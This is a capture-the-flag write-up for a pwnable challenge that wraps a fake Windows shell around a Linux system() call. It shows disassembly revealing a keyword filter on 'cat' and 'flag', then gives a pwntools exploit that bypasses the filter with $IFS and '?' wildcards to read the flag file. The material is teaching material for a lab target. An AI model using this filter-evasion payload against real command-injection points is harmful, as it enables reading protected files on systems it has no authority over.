---
# System prepended metadata

title: '[PWNABLE] Simple Cmdshell'

---

# [PWNABLE] Simple Cmdshell
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
A program that mimics the Windows cmd.exe interactive shell.
```
root@computer:~# nc 0 7147
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\user>
```

## Vulnerability
```c
.text:00000000000008A7 1018 48 8D 85 F0 EF FF FF                lea     rax, [rbp+haystack]
.text:00000000000008AE 1018 48 89 C6                            mov     rsi, rax
.text:00000000000008B1 1018 48 8D 3D DF 00 00 00                lea     rdi, a4096s     ; "%4096s"
.text:00000000000008B8 1018 B8 00 00 00 00                      mov     eax, 0
.text:00000000000008BD 1018 E8 0E FE FF FF                      call    ___isoc99_scanf
.text:00000000000008C2 1018 48 8D 85 F0 EF FF FF                lea     rax, [rbp+haystack]
.text:00000000000008C9 1018 48 8D 35 CE 00 00 00                lea     rsi, needle     ; "flag"
.text:00000000000008D0 1018 48 89 C7                            mov     rdi, rax        ; haystack
.text:00000000000008D3 1018 E8 08 FE FF FF                      call    _strstr
.text:00000000000008D8 1018 48 85 C0                            test    rax, rax
.text:00000000000008DB 1018 75 B2                               jnz     short loc_88F
.text:00000000000008DD 1018 48 8D 85 F0 EF FF FF                lea     rax, [rbp+haystack]
.text:00000000000008E4 1018 48 8D 35 B8 00 00 00                lea     rsi, aCat       ; "cat"
.text:00000000000008EB 1018 48 89 C7                            mov     rdi, rax        ; haystack
.text:00000000000008EE 1018 E8 ED FD FF FF                      call    _strstr
.text:00000000000008F3 1018 48 85 C0                            test    rax, rax
.text:00000000000008F6 1018 75 97                               jnz     short loc_88F
.text:00000000000008F8 1018 48 8D 85 F0 EF FF FF                lea     rax, [rbp+haystack]
.text:00000000000008FF 1018 48 89 C7                            mov     rdi, rax        ; command
.text:0000000000000902 1018 E8 99 FD FF FF                      call    _system
```
Filtering the 'cat', 'flag' string prevents reading the flag using the 'cat flag' command.  

However, using the environment variable '$IFS' of the Linux shell one can add a space character and using a '?' wild card character filter can be bypassed.

## Exploit
```python
from pwn import *
io = remote('0', 7147)
io.sendlineafter('C:\\Users\\user>', '/bin/ca?$IFS/home/simple_cmdshell/fla?')
io.interactive()
```